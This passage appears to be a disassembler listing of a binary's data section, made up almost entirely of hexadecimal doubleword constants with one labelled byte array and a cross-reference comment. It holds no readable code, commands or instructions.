		dd 9BD0FFF8h, 6EBBB7CCh, 998E79C5h, 66EF3AF2h, 2292DA3Ah
		dd 0B3C77FFh, 0D0EF8D9Eh, 0FD271E6Bh, 0C9F4A8F8h, 0DF034562h
		dd 12BCDD2Fh, 0A6780BCFh, 4636D9E1h, 747BBA7Eh,	0F25D1470h
		dd 0DB58BEC6h, 0C6F3E9D8h, 27194F49h, 2E1E2D7Dh, 0C0186A1Ch
		dd 14BF4DB3h, 0BBCAAEC3h, 4FB88DD5h, 0F88DF995h, 0EF7B7C71h
		dd 6F1C349Fh, 54FF37C6h, 0DC37BCBh, 41B8E8D8h, 2A24EE31h
		dd 16F74F83h, 0B986E016h, 5551DC3Ch, 6E38B7C6h,	7C3DEFD2h
		dd 1F37E62Dh, 8F7D371Bh, 0D47AD3BAh, 77C3853Dh,	0E5D95078h
		dd 0B8C863B8h, 7707284Dh, 6EE2550Ch, 96BFBE22h,	0DDF21573h
		dd 737C75D2h, 96DF3966h, 0E4EA2F54h, 6D312BDDh,	0B7FF7431h
		dd 0F691EF8Dh, 8D28F7EBh, 0E329692Eh, 25DEE2A4h, 2AF61B79h
		dd 0B244E2DCh, 0B35B8B59h, 0D60DFA6Ch, 44F1DC1Eh, 0E16D2C77h
		dd 3DE5AC7Bh, 0CDFA8546h, 0F7E80F95h, 0EFD4AF68h, 0E82A5CB0h
		dd 9EA359C6h, 4963BE62h, 7745D0B5h, 548AA543h, 0E9FB7EFDh
		dd 9918EAA3h, 692F8AC3h, 8C03DA22h, 6FF7C755h, 0BD65530Eh
		dd 0FF7AD463h, 5EEE3668h, 482DA1B3h, 92C550Ah, 58D067CAh
		dd 0EB7E6137h, 5B7C929Dh, 9FC6488Bh, 93EE90FDh,	4868AC46h
		dd 38478E4Eh, 6565F586h, 42DBDD03h, 0BD51BE31h,	2E3F4521h
		dd 0A539CC96h, 0DB8C74F2h, 0D61EF533h, 0F41F2CDCh, 1D7824A3h
		dd 0CC2B941Dh, 5E02E8FFh, 0CC2FD07Eh, 0EC26D367h, 7403B1EFh
		dd 1C362560h, 13E3D81Eh, 803D80B3h, 14FC18C3h, 9CEE4F11h
		dd 0CCC59AB3h, 0F489BE3Eh, 0BBE8F93Dh, 0D24531A5h, 0F545C001h
		dd 3A541883h, 0E077DC0h, 1ACC77FEh, 6CE1F603h, 2792D85Ah
		dd 0CD6FFF2Ch, 14BFFD64h, 3CD4E430h, 0D395D3E9h, 59FDD41Fh
		dd 1ACFAA78h, 0EEA7870Bh, 0E56213D1h, 7BA9C251h, 0B4718264h
		dd 0C66F78D0h, 6E22227Dh
		dd 8FE7B2BDh, 0B1696F1Fh, 146387C6h, 0EF7BD8A7h, 18C8F119h
		dd 0FF6289B9h, 4C785D9Fh, 576E3AF7h, 1D0FB11h, 9A2E6216h
		dd 0BEE7A00Ah, 0DF0B6141h, 787A43Ah, 83C38727h,	87F0E1E9h
		dd 0A45DF1E1h, 9AC6DB9Eh, 4EB4AC0Ah, 7DFAEF40h,	0B4373E1h
		dd 0A687D307h, 61AB887Eh, 0C3EFB00h, 189E147Fh,	387F0F5Eh
		dd 0E1FC21B4h, 83C3D7B9h, 0BCF1D3EBh, 0CA13BD39h, 2F8FE3ABh
		dd 16B5A8AFh, 75175175h, 51751751h, 7FDDC9F7h
		db 2
byte_416CE1	db 61h,	5Ah, 0C2h	; DATA XREF: .data:off_40B050o
		dd 0BAEE07DEh, 0F6F63D8Dh, 0FBA8789Eh, 3F83D74Eh, 0EBD7E9B7h
		dd 3E277BD5h, 6E080F23h, 0F73DA43Fh, 0BB5B204Ah, 0D41C8C4Fh
		dd 0B85FDD0Ch, 3DAEEEF1h, 7FB66F15h, 0E7E3BD35h, 0BFBE47F3h
		dd 0FFC10341h, 23DFBB07h, 0AECD0C3Ah, 1D9E035Ah, 5FE7FCECh
		dd 0C5A230F4h, 70F7718Dh, 44B2FF9Fh, 0EC64870Fh, 14043575h
		dd 0E72736D3h, 57B2E1EAh, 6D5CCA49h, 0BC436D94h, 6FE7348Bh
		dd 1230A2ABh, 42284803h, 9737048Dh, 66CCF2EBh, 0A5653943h
		dd 9EFABDEAh, 0E1F9E880h, 0D4DFABCEh, 0F1E22261h, 70C19451h
		dd 5F44AD73h, 8755B85Dh, 4C649493h, 0D226D6B9h,	46AF7A5Ch
		dd 0D8E42BF4h, 50DB44ABh, 0B01C5132h, 0A708B364h, 7ABEA835h
		dd 90BD7571h, 10F99062h, 0B3846CBFh, 230149E7h,	22202F6Bh
		dd 95AF3A34h, 5EFC6803h, 3818C7FBh, 1DA46591h, 0DBBB3B87h
		dd 0A259C262h, 0F4E71621h, 3FFEA898h, 7996344Bh, 864D3D72h
		dd 6334745Bh, 0AF0B4F98h, 9CFA7012h, 598FD288h,	0CE919F68h
		dd 3E110E15h, 0C6F1B1B5h, 0A79A6ADAh, 0A9AB85B4h, 4BCCC425h
		dd 0AFAD219Eh, 42C230AFh, 0B6BEA005h, 4C45A441h, 0B99D7388h
		dd 9D79B1A5h, 0AEC11A9Ah, 72FD47EEh, 37E31A71h,	43343D46h
		dd 1F5AA1Bh, 0ADFB304Bh, 561756D4h, 0CAC2DD12h,	30655812h
		dd 0ECC66399h, 47A66730h, 0AB5842D2h, 0BC2EF763h, 34A3F516h
		dd 2B567E36h, 2884E85h,	0FA112242h, 53FCCE82h, 0CADDAF9Dh
		dd 5BD2CDB4h, 1862014Eh, 238F8D0Bh, 27EBC71h, 0D00A3521h
		dd 26DAE6CAh, 69CDEB95h, 0CB44A0BCh, 348463C9h,	82302217h
		dd 22F99F86h, 794757D7h, 0B6140FC0h, 0CBD69121h, 5C115DB8h
		dd 0B8BD525Fh, 7D28C6F1h, 33F3B67Fh, 0CFA2EBD0h, 3E48BD72h
		dd 95D564DAh, 707D8A37h, 2B119D32h, 0CFAE7EF3h,	238BF67Bh
		dd 0EBF8E636h, 0BEBAF48Ch, 2CAFEE67h, 0DDFC265Fh, 0FEA32458h
		dd 5DF6556h, 9D31D546h,	7E516027h, 4FEE94F5h, 1006EBB0h
		dd 7F63FFEFh, 5557F774h, 2849E11Dh, 0BE99FFDFh,	40E16E09h
		dd 0F5793992h, 45DE8F09h, 7BC4CF92h, 0BB7EE530h, 0F9A31958h
		dd 4FDC520Fh, 0E150AA97h, 0CD99288h, 6E256A9Fh,	42572FF5h
		dd 72DBC68Fh, 5E3E144Bh, 0C809F139h, 0D0DEFE5Ch, 0CA49E48Fh
		dd 18F77307h, 5D2B31F2h, 486112DFh, 733A4E30h, 0C9DEEA50h
		dd 893E6885h, 0CE1F9128h, 0BB4ED1C8h, 478A084Fh, 4FCC6810h
		dd 67BE238Ah, 0E968CB12h, 0B99459F9h, 2684EB9Fh, 53B7EDF9h
		dd 0E86F5D7Ah, 75F925C4h, 4CAFBAD0h, 0D8CE4A79h, 0FCCF7108h
		dd 9E7441B5h, 0EEAA74F6h, 362BE7C9h, 9E377BF2h,	1750E335h
		dd 0A00D0DE6h, 0AD5D4774h, 6FC844F3h, 70BDC70Dh, 8A96A610h
		dd 83691401h, 0EBCE6524h, 0F98ADEFAh, 0CDA98387h, 90316EBBh
		dd 0D87FECACh, 0B65FFE4Eh, 0ABCB0841h, 7CDDC4Ah, 0EA47DC57h
		dd 505FEC93h, 83B84CD5h, 8FD3DED2h, 759BFCDAh, 7E15B082h
		dd 0AE544905h, 6D25CF7Bh, 45B4DA08h, 1FABF8DBh,	608B5A48h
		dd 7A5106BAh, 1806FFD3h, 3E44D989h, 0A4947674h,	2C895C94h
		dd 0D8274E98h, 0AC3FA4B9h, 0B4143DBCh, 9C85579Ah, 0B3275EBFh
		dd 58AC9F2h, 0E7E20C68h, 0A5AF8958h, 0DF055924h, 2AF21789h
		dd 0A9D9F1E6h, 4A244FBFh, 42FCB972h, 3655C848h,	0D634B637h
		dd 0B87D0EA8h, 0D675F439h, 1CE8A521h, 4EC5F97h,	0A8A57F6Ch
		dd 6A8CDA74h, 2AEBE2F5h, 4857F697h, 0EB3B392Dh,	25890862h
		dd 8B5A9C2Ah, 0C1A31155h, 68F8D41h, 33E8A7E9h, 0A47CA5ABh
		dd 42278D42h, 0CD8D351Ch, 46D2668Eh, 0E55092C2h, 0B556A2A8h
		dd 1CC48C29h, 0FA563E46h, 0C03653BFh, 0C330A15Dh, 304B51CAh
		dd 0D5951535h, 17BFC19Ch, 68CCA2D7h, 0C688B474h, 0F844AC18h
		dd 0A10A8E57h, 576E55D4h, 0A177AA4h, 0FAF06FACh, 557E512Bh
		dd 0A3CA253Fh, 5AD329B2h, 0BB14BC5Ah, 50EEB239h, 0A8EEFC9Ah
		dd 867AF08Ch, 145E1128h, 80B8CAA5h, 7837E6F3h, 40D40649h
		dd 64E79625h, 75716255h, 4E336882h, 648DC64Fh, 19A15032h
		dd 0CC12A8E7h, 0CF51169Eh, 0CFC93126h, 0E1F130A3h, 2ACC3520h
		dd 11839CB4h, 27327900h, 0C5997505h, 70F93E8Bh,	762EA217h
		dd 0C8EF245h, 0E08AF19Eh, 822A251Bh, 822B3056h,	1140343Fh
		dd 7C43ADE4h, 2118D396h, 857F507Eh, 660E4078h, 0B0540D02h
		dd 0D63477C7h, 9C126E38h, 358C819Fh, 0CE9371Ch,	0B699C16h
		dd 96291FA4h, 0D46D3163h, 9AC451CEh, 1D1B50E1h,	1D106FF0h
		dd 61EC1D4Fh, 6FA438CCh, 0CC04E638h, 3A1496FBh,	371C5B6Ah
		dd 7463D455h, 77ED44DCh, 3A7C6441h, 447233B0h, 7C3C1C58h
		dd 57010F54h, 2AC69EABh, 0D93D2187h, 0CCDAF4FCh, 0C3C3814Bh
		dd 0D4B9C46Bh, 3A87D2BEh, 99A57801h, 0AA696BB2h, 0A9ADACAEh
		dd 0D9C0BE65h, 8E88E931h, 78CA87D2h, 0D7A34E65h, 3179371h
		dd 25A05AA5h, 95034547h, 0C723605Eh, 5428D50Dh,	686B3EB5h
		dd 29B4F0E4h, 0A690CB3Fh, 1064A53Eh, 86FA05C6h,	8D862272h
		dd 0C2D786A3h, 7D88A21h, 7B1ABBC2h, 168A8736h, 0B5518E8Fh
		dd 0E1034696h, 0A3EA0758h, 0A21C2A3Ah, 0D11ED1FDh, 520991D6h
		dd 89FEF47Dh, 79A2B396h, 6911AF11h, 0B248AF0Ah,	285E5432h
		dd 89D1A9A0h, 0C5921631h, 53E81E68h, 513353D6h,	0D4524489h
		dd 28B9A8F6h, 2CEBBEB9h, 8FA41F2Fh, 2DC5D115h, 0FC226158h
		dd 0CE8A419Fh, 0D35471F3h, 35241884h, 0C5EA2B81h, 394880F7h
		dd 2F28A569h, 7918AA1Fh, 0DE168E3Ah, 255CF0ECh,	8965CB14h
		dd 0B121F64Ch, 0E886A463h, 7A8641DBh, 2B06E953h, 0BBE471A0h
		dd 6A705EA3h, 37822A86h, 0CE964623h, 437C219Dh,	0E62A993Ch
		dd 22550CC9h, 4BC3BCD4h, 232695B3h, 0BFD45BF7h,	391AE49h
		dd 70B9E615h, 71AED22Fh, 0CF6DA9F0h, 50FDEA79h,	905633A9h
		dd 3D218A5Eh, 0EDDC7CD1h, 0F8FABF3Ch, 201C2633h, 8BA25EFBh
		dd 674554F2h, 17F98880h, 0A472896Dh, 0D66F7541h, 0E749BC3h
		dd 83E69D89h, 151D6620h, 0DE102ABCh, 8813C19Ch,	0F8032198h
		dd 9040325Dh, 6322D87h,	92CEE49Bh, 7CB44DF0h, 81E19235h
		dd 0C38F07B6h, 0F19117D8h, 886583CCh, 3855E512h, 0C333042Ah
		dd 166BF46Eh, 0A018C0Ch, 0CE782CF3h, 28DB22DCh,	8806B82h
		dd 403A81F5h, 0E384FE61h, 506206h, 0A822A06Eh, 0DE6C0C2Fh
		dd 0E8A79C31h, 12A3A584h, 1D530A18h, 819E249Bh,	824B40D5h
		dd 7A7E90F9h, 0DDAD2818h, 67424840h, 670F9451h,	993349DCh
		dd 2E0EE9F9h, 194368ADh, 0C607AA56h, 98520D84h,	2661811Fh
		dd 88AE1972h, 4D1DF05h,	576624D4h, 0C116B8C3h, 3E78C06Dh
		dd 0A942F3C5h, 0A8E92Fh, 0E77200E3h, 6421CAB7h,	4364AB2Ch
		dd 0DA45A794h, 7134F2A9h, 39CFCBCAh, 16725A7Dh,	2A869B78h
		dd 7A0083CCh, 44977DA5h, 8E34E54Ah, 9C8FBDF4h, 0AE4A8E8Fh
		dd 31A920C3h, 0AB0B0FACh, 0C063CC2h, 3864C12Dh,	370BB64Bh
		dd 16730B4Ah, 5F70C344h, 63827E09h, 92B8EE6Ah, 0AF808AEBh
		dd 8B8CAB08h, 0BCB50192h, 212331BCh, 46198655h,	24E0954Ah
		dd 6110D8D0h, 1D3C8D0Dh, 6E3B36B1h, 59C22622h, 5043CD72h
		dd 0CB544904h, 68D0FFFDh, 354C9898h, 93FF3CB5h,	0A60EFEA3h
		dd 83046488h, 8404D83Fh, 4F1204E8h, 0DEBFA8Dh, 0C3EFAF5Fh
		dd 0E98635CFh, 8A864513h, 9F131E19h, 43F21CAh, 1A2D2053h
		dd 18056116h, 0AE21B6E7h, 0F3440164h, 108EED16h, 0A31AAD41h
		dd 0DB22C345h, 0DCBDF47Eh, 87A39FF7h, 2111B5E9h, 0A5283A11h
		dd 86A4B86Fh, 0DFFAFAD3h
		dd 0E8FBFB4Ch, 0A7D6927Ah, 5F62153Ch, 8C534FAFh, 191E192Fh
		dd 39E86266h, 0DE4AFF74h, 6F40F39Ah, 0D8626421h, 3EB0FC8h
		dd 0EFF72553h, 0FAFEEBE7h, 0EC4D3C4Ch, 2FB98661h, 0C7A2EB36h
		dd 0B48D93h, 0E5D0EDh, 0ED88A219h, 0DD1BC3B4h, 822AA74Fh
		dd 25396B38h, 0E126C684h, 49364C5Fh, 0D0F661DDh, 22F819F6h
		dd 0DC957E9Ah, 0D661EB59h, 0A6AE1CE8h, 7A742C7Dh, 8B349669h
		dd 0A5B5341Dh, 0AA3B37D8h, 25BF1CBCh, 3BDE035Ah, 44D745A7h
		dd 8AE56284h, 0C0BC4C12h, 7A8E683Ah, 2E5A1B9Bh,	5B20B01h
		dd 297DD501h, 0D772F2A3h, 2A1130A9h, 4A0CE88Eh,	4A6A86F9h
		dd 0DD708ABCh, 0A098D369h, 62A881A7h, 5E08107Dh, 1A8ECF90h
		dd 1B4F1170h, 0AF123B31h, 10EE3222h, 6FFD555Ah,	123CBDC4h
		dd 1BEB4297h, 3138C97h,	1A090FBCh, 0B14A916Dh, 1238B8D5h
		dd 4407896Fh, 286C7565h, 614AE3E1h, 16FEA529h, 0ADD80DC7h
		dd 0EDA9C7FFh, 0B72C0443h, 0C4B70DC7h, 28BF2E44h, 3EC87C76h
		dd 720D3E41h, 8BF225E9h, 26F94052h, 0BEAE9A9Ch,	1E4D97ADh
		dd 237198DDh, 0D57B99C8h, 78C4F1A9h, 53DAA1BBh,	0B516B8B1h
		dd 0BE35BEDh, 5C040C5Bh, 8FD8BA4Bh, 1C638510h, 204AB434h
		dd 0C4645A6Bh, 457CFB9Eh, 199C0AE7h, 9A34872Ch,	22E44164h
		dd 51897C0Ah, 0D980D8DAh, 604B6887h, 326E41DDh,	251B5D25h
		dd 4B1F79B8h, 3E74035Ch, 0DE02F45Ah, 48F355B3h,	0A69EC088h
		dd 8A54AFE3h, 7B805EC4h, 112D2780h, 0EE541258h,	583DA2F0h
		dd 92E4D4Dh, 0BCE1AAF9h, 4E653166h, 0DC8C769Ah,	8F979B65h
		dd 0B1458C32h, 408F317h, 6D06B546h, 85ABE2Ch, 0F276182Fh
		dd 0F0DA6A8Eh, 0D2C4848Eh, 8BED161Eh, 0B4FC2977h, 0A58A2CB8h
		dd 0CE256CF5h, 0B5C4A715h, 12BC7F92h, 0B000E78Fh, 12B407BAh
		dd 1784957Ch, 17568122h, 896DD2DDh, 0C3C07213h,	9CE42B00h
		dd 0CD73B358h, 2A61D8A5h, 0B9CA8A6h, 87868F7Dh,	9F8E8E11h
		dd 0D5BF832Fh, 0C3197700h, 21C0C5C5h, 0F099358Bh, 32E01877h
		dd 63E2E19h, 358EEC0Eh,	0DE3FE1E3h, 0E19E3700h,	607031CCh
		dd 99AD17h, 6E01977Fh, 0C425C302h, 6B06A1C0h, 0A17F872Eh
		dd 8672EE01h, 3818C4Bh,	15CD702Bh, 80685FF0h, 92E182BBh
		dd 0CAC0E062h, 7F059359h, 0C59700D5h, 38189670h, 64D73FB0h
		dd 1B57FC3h, 0FAE19B2Eh, 5D81C0C5h, 0F84AE6B4h,	0BB80603Fh
		dd 0C7FAE192h, 6218E1C0h, 25C90E4Dh, 1872E01Bh,	1C0C406Eh
		dd 3C6B6058h, 8062DFF0h, 359C30F3h, 0C1AC0E06h,	0DFF0CD35h
		dd 6FA38069h, 0A3A01D52h, 0C2213891h, 0BB3B42EBh, 0FB42EBE0h
		dd 5CC892B8h, 0ECCA1C1Eh, 4F8E2FEAh, 0D7147E30h, 99882951h
		dd 0DCA8CF26h, 55B33CF2h, 595040CAh, 3BFE490Eh,	0C74757F1h
		dd 0DDCF6545h, 61F4EE52h, 0F24D4329h, 5126A976h, 0A7948F08h
		dd 0E9B57BA6h, 0CAA58222h, 0BA9C7E9h, 0A8603EE5h, 0E30CEB87h
		dd 83FC3274h, 67C9B806h, 0E053A718h, 9B806DDFh,	485DA7D2h
		dd 0FFCE85EEh, 0E8F53ED5h, 16F9433Ah, 5C6A7E20h, 6705BD34h
		dd 0F842DF28h, 2DC0358Fh, 2AF9433Ch, 0E01BDC68h, 8F30CE2Ah
		dd 817F806Eh, 3386EE01h, 0D24AA3CCh, 55C037B3h,	551E619Eh
		dd 1B67FC1h, 0C627EAAEh, 0ACA4C90Bh, 0C4F03297h, 8DD92613h
		dd 77E89F9Eh, 0AEDA19F7h, 0C787911h, 0A19E3679h, 0DFE09AEDh
		dd 326B8064h, 4DE48D94h, 0BCD1F11Ch, 0E6A76CBBh, 0A49AF345h
		dd 0D219978Dh, 0D8F86248h, 5DF6C0BCh, 6BEC9243h, 1903700Ch
		dd 969FB62Eh, 19641D41h, 1C037F8Dh, 0A7EDF77Dh,	0D653427h
		dd 0C9B29Ch, 0FB7DDF47h, 8380B7E9h, 0C035DE53h,	62E196FDh
		dd 0E00369FBh, 27F758E0h, 70C9A722h, 77EEF8B1h,	7A538380h
		dd 63BF700Dh, 0F77C58B8h, 29C1C07Bh, 0D2F90619h, 2C5C33DFh
		dd 70127BBEh, 1814A70h,	8B8649EEh, 14F77C5h, 37A94E0Eh
		dd 70C53DC0h, 0FEEF8B1h, 56538380h, 0C0FEE01Bh,	0EEF8B170h
		dd 29C1C069h, 0A7B8061Dh, 0DF162E19h, 707011FDh, 0DC0321CAh
		dd 606E191Fh, 0C046DC0Ch, 65D29C1h, 370C8DB8h, 19EE0628h
		dd 6629C1C0h, 19EE1473h, 0C0C5B386h, 707009FDh,	0C3A0D72Ch
		dd 0ECE189FDh, 2CF7031h, 68994E0Eh, 0E1967B80h,	6DC0C706h
		dd 0EB1C1C02h, 9B70E9F2h, 0C486E18h, 838073DCh,	1D3E1D63h
		dd 1B8639EEh, 2F7031Ah,	4758E0E0h, 817B874Fh, 0E06392E1h
		dd 8E0E0336h, 0B874F675h, 12970CCDh, 0E022F703h, 69D94E0h
		dd 6E1917B8h, 4BDC0C58h, 0C6897B80h, 25EE01B3h,	62B3B86h
		dd 0C1C065EEh, 700C4729h, 6A5C332Fh, 0C016DC0Ch, 6DD29C1h
		dd 370C2DB8h, 0CFEE063Ch, 0AC538380h, 3FEA3906h, 31D9DC33h
		dd 7015B70h, 700C38A7h,	446E195Bh, 0C036DC0Ch, 0DE329C1h
		dd 2E18DB70h, 3AE062Dh,	0AE4A7070h, 0E183AE01h,	6DC0C646h
		dd 4D76DC07h, 70EA0AE8h, 9CEE19DBh, 57B818h, 1934A707h
		dd 0B8615EE0h, 76E06373h, 594E0E00h, 0C1DB8066h, 0B8188E70h
		dd 5383809Dh, 0EDC033EEh, 62F3B864h, 0B802FEE0h, 3178D0BFh
		dd 0E185FDC0h, 0DB818FCEh, 345DB805h, 0BB700C5Eh, 63D2E18h
		dd 0E0E0376Eh, 0B8067D94h, 11970CDDh, 7007B703h, 181C687Bh
		dd 0DC30F6E0h, 0BDB818A8h, 784BDB80h, 97B700CDh, 81882EE1h
		dd 7070157Bh, 0C3AC067Ch, 1770CABDh, 6BDC0C6h, 0FF08D7B8h
		dd 635EE019h, 7031D1B8h, 0C70700FBh, 0B70E9284h, 23FEE18Fh
		dd 0C075EE06h, 0BD09AEBDh, 75EE1D2Dh, 628BB86h,	0BDC00DEEh
		dd 0D27841h, 8DC306F7h,	137B8189h, 3CD26F70h, 0C9BDC037h
		dd 0E0636370h, 3F6E03F6h, 0DC0353E1h, 171B867Eh, 0E016F703h
		dd 0C0794E0h, 0DC316F70h, 6F7031C5h, 0D94E0E03h, 9B7B8068h
		dd 81892EE1h, 0EF70077Bh, 0C0367E10h, 0CE70C3BDh, 177B818h
		dd 37ECA707h, 70CBBDC0h, 0BDC0C697h, 68F7B807h,	0DEE0181Ch
		dd 62CBB863h, 1C07DEE0h, 8063D29Ch, 32E19F7Bh, 3EE063h
		dd 31629C1Ch, 0C07C36E8h, 0E063E370h, 0EE000Eh,	0DC0303E1h
		dd 109B8601h, 0C057F703h, 0A77F087Dh, 8643EE01h, 0EE063CBBh
		dd 0AAFEE020h, 875AA209h, 5DC32BFBh, 8770311h, 0AA558070h
		dd 1907700Ch, 0EE062B2Eh, 9601C023h, 0EE1D1889h, 0C765C310h
		dd 0B80C7DC0h, 1AFE688Fh, 0B8623EE0h, 3EE0632Bh, 84C7DC01h
		dd 1F700DC7h, 0C4E5C33h, 7DC061DCh, 173D09A2h, 8613EE1Dh
		dd 0F703189Bh, 0D30EE029h, 3B806ABAh, 629370CCh, 0B806FEE0h
		dd 0B55D694Fh, 653EE144h, 0E062ABB8h, 0BFB80EFEh, 0E01B3B51h
		dd 5770C6FEh, 11DC0C7h,	0B715601Ch, 0CEFEE01h, 0FB818AE7h
		dd 847700Ch, 8EE01A9Fh,	18E4DC30h, 0F701CFB8h, 323CD19h
		dd 370C67DCh, 0BEE0625h, 91AF7DC0h, 0DC28F12Dh,	35370CF7h
		dd 0B8082E06h, 6479A5Eh, 0CB865EB8h, 12FB818Dh,	3CD23F70h
		dd 0C8FDC032h, 70317970h, 493B809Dh, 0EE018E74h, 0C7E5C324h
		dd 51AC65C0h, 0CA2EA0D6h, 0E7DC0351h, 0C4D770Ch, 7DC028DCh
		dd 5FA3F341h, 860BEE14h, 0BB81882Bh, 0C2617000h, 30B80693h
		dd 818B4DC3h, 905C02CBh, 5C031CE8h, 8DAEE190h, 5C06CB81h
		dd 1A4F088h, 0D370C42Eh, 4AEE063h, 6FD497DCh, 192FB806h
		dd 2E0630AEh, 9A9D7007h, 0E1D2A190h, 28AE193Ah,	0E0226E06h
		dd 19BF528Eh, 0DC328EE0h, 49B8188Ch, 0FC07FB80h, 0FEE018B7h
		dd 0C5D770C1h, 0B8055DC0h, 0D87FE0AFh, 0C315F700h, 0AEE063B9h
		dd 0B4D7DC06h, 0BEE0196Eh, 18E2B866h, 0BAE01738h, 3FD69FE0h
		dd 70C5D70Ah, 85703125h
		dd 0FE06FB80h, 6FB80659h, 634AE18h, 0DF7008AEh,	1A67FC2h
		dd 9B865BEEh, 3370319h,	3B51DF70h, 63BEE01Bh, 703159B8h
		dd 1BAE01D7h, 700D6BFEh, 16570CDDh, 0DC06E703h,	190F093Fh
		dd 70C9FEE0h, 0C57031E5h, 0FF063B80h, 63B8063Dh, 63B370Ch
		dd 0C77004AEh, 8063DF69h, 7370CE3Bh, 1CAE062h, 7F2C7F87h
		dd 5BF5D116h, 8B3F7043h, 280D9B81h, 0C33FC13h, 0BB862670h
		dd 3E6E063Eh, 3FE0E2E0h, 0C71700D1h, 0E0637370h, 83D7014Ah
		dd 0C0342CF2h, 0E6F970F5h, 4CDC0C5h, 0CF5A09DCh, 1827700Dh
		dd 0DC0C7E6Eh, 0AFC5C01Ch, 41F86251h, 82EF9CF1h, 19FB818h
		dd 0B5FF0CCEh, 0CCCF486h, 0EE0630B7h, 0C025C07Ah, 2E01BD7Fh
		dd 622AE181h, 2E02E6E0h, 61DFE11h, 0BB8644B8h, 1E6E0621h
		dd 7FE092E0h, 0C49700C0h, 70319570h, 8167000Bh,	0CE01B77Fh
		dd 315570C2h, 0D7010B70h, 6B66FE0Fh, 0C31FAE14h, 55C0C755h
		dd 0FC3FAE00h, 0F4700D93h, 6BE13FFDh, 82EF5F61h, 26CB9658h
		dd 105CFFD4h, 2A9172A9h, 273250E0h, 37029708h, 0E9B60E0Ch
		dd 75D5D05Dh, 9A83870Dh, 0F72A0BB5h, 0B9C9E82Eh, 39DC246h
		dd 741C2E77h, 91E75DA1h, 18383A59h, 86C17252h, 0CD370B9Dh
		dd 0EC43A0B9h, 0FC0E10BAh, 0C07FD708h, 45DF3D41h, 2DB0F3EAh
		dd 0BB8A82E0h, 2EE82A0Bh, 0BF1388A8h, 65FB05D6h, 70BCD82Eh
		dd 3B81C265h, 66409AE2h, 80AEE03Fh, 2B94BE83h, 0B84AEE1Bh
		dd 0B8D8381Ch, 507EE173h, 0B8746C17h, 5C74B60h,	8C8BB106h
		dd 8512C3D7h, 5CAAA60Bh, 0E576D750h, 5DC3E5C1h,	0B82D3C43h
		dd 0C2D77069h, 9E83874Dh, 0D6EA0BBCh, 0BB43A82Eh, 7F0383AEh
		dd 570C55C6h, 70A5702h,	4C175DD9h, 0E0CAB95Ah, 82E6DCA0h
		dd 160BBAFEh, 833F5CECh, 3A0E1EBBh, 7079AEF0h, 0C016E1F3h
		dd 55D6E741h, 5C037701h, 1F75D25h, 8EE54D57h, 241F7A17h
		dd 0AC3A4FDBh, 0FA485724h, 4407A4A7h, 6FB4A77Ah, 0B758FD26h
		dd 7A4353B4h, 0D3CFA49Ah, 0F4C1ED21h, 242DBB48h, 0A03A48A3h
		dd 3A49B7A4h, 4E5324A3h, 7BA4B2BAh, 441A7A4Ah, 3E0C93E7h
		dd 0EE92E0E9h, 932FC901h, 68C9290Ch, 0E92C5E93h, 2ECE92B6h
		dd 0CE91EAC9h, 9394C92Ch, 35D100BEh, 0FA49F3A4h, 412FA4AAh
		dd 0A50BF4B2h, 0C4E92E9Eh, 0E92B9C92h, 1EE92EDh, 0BE92F4E9h
		dd 92EAE929h, 35AD2D0Ch, 47B95F24h, 0DE92A0EAh,	92E1E929h
		dd 0CE93A5Ch, 0E92C1E93h, 398C92A9h, 4E12CBE9h,	1A461922h
		dd 4DCF2480h, 3324CF72h, 0A4B6F24Ah, 0A97A4C43h, 0F249D324h
		dd 4DA324C7h, 83A4BB7Ah, 0A4BF324Bh, 0ABEBAB33h, 0C928FC92h
		dd 2CCE9227h, 0AE92C7E9h, 92BAE92Ah, 52C92E6Eh,	0E9244C92h
		dd 2FEE92FAh, 0CE921DC9h, 92FAE92Ch, 0F52AA54Ch, 0FC27FF67h
		dd 80473A59h, 11E626EDh, 0DAA0192h, 7C47F792h, 15BFE23Fh
		dd 9D867EC8h, 0D0D7E625h, 6976A8B5h, 0B4A168C7h, 0B751B42Bh
		dd 0EC2093F3h, 8413B8EEh, 0CFEA1C1Dh, 9DB643Dh,	4C51352Eh
		dd 0C7EC8F5Ch, 138770CDh, 744F0D05h, 7124ECF7h,	0B8D10499h
		dd 39FF65FBh, 16053FD0h, 0B3ADDF41h, 282A3A08h,	9FAB2CFBh
		dd 0FD405BB0h, 40EE11B5h, 60CB613Fh, 3FBB9C34h,	0FA22E9DDh
		dd 2EA0D689h, 47D954B8h, 0AF02019Eh, 261CFF52h,	81F453D9h
		dd 55B66E13h, 0F7A15C5Ch, 39C0F4Dh, 0D700507Dh,	0AE0EB704h
		dd 87082E03h, 2C94BE4Bh, 0AB7085B8h, 1DC236E1h,	0B88C2418h
		dd 0C373868Dh, 667D252Dh, 51363DB8h, 395FB22Fh,	2ADE195Ch
		dd 950B71F4h, 0EC2B9C1h, 9B9D3555h, 92F56358h, 0F9948FC9h
		dd 3FBA6749h, 4534BEDBh, 63403AE2h, 7E56679Eh, 0B7AEAE32h
		dd 71B8E26Ah, 9C19B891h, 2DC73C6Fh, 3ECCDC02h, 0F48FC971h
		dd 0F245F7EAh, 1DC48F8Dh, 0FDC6F9CDh, 0C73A5C64h, 8E6BE68Ah
		dd 0F9CB1DC4h, 19DC7026h, 27DA5B80h, 0DD91F92Eh, 7C912384h
		dd 9D712213h, 27F9AF9Ch, 59B9D2E3h, 48C4DF34h, 6F9CF1DCh
		dd 0D375C722h, 0B89F4AF9h, 0D25F596Eh, 26F917D9h, 7166E245h
		dd 5B8E24DCh, 7D0B674Ch, 0D91F92E2h, 0E24570CAh, 2771225Ah
		dd 0C70B5C72h, 34DB212Dh, 4BCEF47Dh, 244F5C64h,	5C48BF6Eh
		dd 0C7EDC717h, 8F894B71h, 296E27DEh, 0AD85D2F3h, 7FB71101h
		dd 0C72E6E24h, 6771C01Dh, 9F5D6E02h, 7D6533B8h,	1DC48A9Fh
		dd 0C05B8910h, 27FFDCEDh, 0AFF6C6E3h, 90B71235h, 71C81DF3h
		dd 0A9F3A46Fh, 946F713Eh, 0E48FEEF9h, 0D712303Bh, 7F5AF9CDh
		dd 0BE6C6E32h, 67712283h, 8E36BE72h, 7D700B3Bh,	0C967FBF5h
		dd 0F2470F7Ch, 0CEE245B5h, 0FD077CE6h, 7CD8DC64h, 73B891EDh
		dd 1CC1DF39h, 0C7F50E77h, 0E4B8D8A0h, 24D0BA47h, 1DF22DCFh
		dd 90BB891Ch, 64FFB5F3h, 0FCCC675Ch, 5B89121Dh,	0E50EF9C5h
